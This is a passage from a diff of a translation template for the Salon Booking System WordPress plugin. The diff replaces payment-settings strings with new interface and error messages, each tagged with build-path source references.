..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96\n+msgid \"\"\n+\"Install this app on your IPhone=> __( tap menu and then Add to homescreen\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:22, views\u002Fsettings\u002Ftab_payments_pro.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:22\n-msgid \"Set your currency position\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94\n+msgid \"Install!\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:25, views\u002Fsettings\u002Ftab_payments_pro.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:25\n-msgid \"on left side\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:402\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:402\n+msgid \"Installed\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:25, views\u002Fsettings\u002Ftab_payments_pro.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:25\n-msgid \"on right side\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28\n+msgid \"Insufficient permissions\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:32, views\u002Fsettings\u002Ftab_payments.php:43, views\u002Fsettings\u002Ftab_payments_pro.php:68, views\u002Fsettings\u002Ftab_payments_pro.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:43\n-msgid \"If you want a new currency to be added please send us an email to support@wpchef.it\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:43\n+msgid \"Insufficient permissions.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:36, views\u002Fsettings\u002Ftab_payments_pro.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:36\n-msgid \"Decimal separator\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:465\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:205\n+msgid \"invalid\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:39, views\u002Fsettings\u002Ftab_payments_pro.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:39\n-msgid \"Thousand separator\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:177\n+msgid \"Invalid API key. Please check your API key in SMS Settings.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:57, views\u002Fsettings\u002Ftab_payments_pro.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:57\n-msgid \"Hide Prices\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:519\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:519\n+msgid \"Invalid API response. Please try again.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:506\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:506\n+msgid \"Invalid API token or insufficient permissions.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:68\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21\n+msgid \"Invalid booking ID.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:60, views\u002Fsettings\u002Ftab_payments_pro.php:228, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:60\n-msgid \"Select this Option if you want to hide all prices from the front end.\u003Cbr\u002F>Note: Online Payment will be disabled.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153\n+msgid \"Invalid booking status\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:72\n-msgid \"Accept online payments with PayPal, Stripe or many other payments platforms.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163\n+msgid \"Invalid date\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:74\n-msgid \"Request upfront deposit or offer a \\\"Pay later\\\" option.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:173\n+msgid \"Invalid date format\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:76\n-msgid \"Switch to PRO version today, and get access to all available features.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:208\n+msgid \"Invalid download URL received.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_payments.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_payments.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_payments.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_payments.php:81\n-msgid \"OK, I need this..\"\n+#. %s: invalid email address\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:97\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:97\n+#, php-format\n+msgid \"Invalid email address \\\"%s\\\" in Salon contact e-mail field\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:7\n-msgid \"Online payment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39\n+msgid \"Invalid file path.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:9, views\u002Fsettings\u002Ftab_payments_pro.php:89\n-msgid \"Payment methods\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUploadFile.php:35\n+msgid \"Invalid file type. Please upload a valid file.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:11, views\u002Fsettings\u002Ftab_payments_pro.php:144\n-msgid \"Pay a deposit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22\n+msgid \"Invalid filename.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:12, views\u002Fsettings\u002Ftab_payments_pro.php:177\n-msgid \"Tip request\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:152\n+msgid \"Invalid JSON response. First 200 chars:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:13, views\u002Fsettings\u002Ftab_payments_pro.php:192\n-msgid \"Apply a transaction fee\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:88\n+msgid \"Invalid license key. Please check your license key.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:15, views\u002Fsettings\u002Ftab_payments_pro.php:236\n-msgid \"Pending payment email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:504\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:504\n+msgid \"Invalid purchase code. Please check and try again.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendBulkFeedback.php:16\n+msgid \"Invalid request\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:16, views\u002Fsettings\u002Ftab_payments_pro.php:253\n-msgid \"Minimum order amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:186\n+msgid \"Invalid request data. Please check your sender ID is registered.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:17, views\u002Fsettings\u002Ftab_payments_pro.php:268\n-msgid \"Unpaid reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22\n+msgid \"Invalid security token\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:21\n-msgid \"Online 